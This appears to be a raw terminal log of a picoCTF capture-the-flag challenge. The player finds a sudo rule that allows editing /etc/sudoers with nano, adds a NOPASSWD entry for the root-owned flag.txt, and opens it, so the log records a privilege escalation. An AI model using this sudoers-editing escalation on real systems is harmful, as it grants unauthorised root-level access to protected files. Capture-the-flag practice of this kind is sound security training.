32 lines
1.8 KiB
Plaintext
32 lines
1.8 KiB
Plaintext
$ ssh -p 57870 ctf-player@crystal-peak.picoctf.net 7m 39s direnv nix impure
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Last login: Thu Jul 2 15:19:16 2026 from 127.0.0.1
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ctf-player@challenge:~$ ls
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flag.txt
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ctf-player@challenge:~$ ls -lah
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total 24K
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drwxr-xr-x 1 ctf-player ctf-player 71 Jul 2 15:26 .
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drwxr-xr-x 1 root root 24 Feb 4 22:26 ..
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-rw------- 1 ctf-player ctf-player 415 Jul 2 15:26 .bash_history
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-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout
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-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc
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drwx------ 2 ctf-player ctf-player 34 Jul 2 15:19 .cache
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drwxrwxr-x 3 ctf-player ctf-player 19 Jul 2 15:20 .local
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-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile
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-rw------- 1 ctf-player ctf-player 1006 Jul 2 15:24 .viminfo
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-r--r----- 1 root root 35 Feb 4 22:26 flag.txt
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ctf-player@challenge:~$ sudo -l
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Matching Defaults entries for ctf-player on challenge:
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env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User ctf-player may run the following commands on challenge:
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(ALL) NOPASSWD: /bin/nano /etc/sudoers
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ctf-player@challenge:~$ sudo nano /etc/sudoers
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ctf-player@challenge:~$ sudo -l
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Matching Defaults entries for ctf-player on challenge:
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env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User ctf-player may run the following commands on challenge:
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(ALL) NOPASSWD: /bin/nano /etc/sudoers
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(ALL) NOPASSWD: /bin/nano /home/ctf-player/flag.txt
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ctf-player@challenge:~$ sudo nano /home/ctf-player/flag.txt
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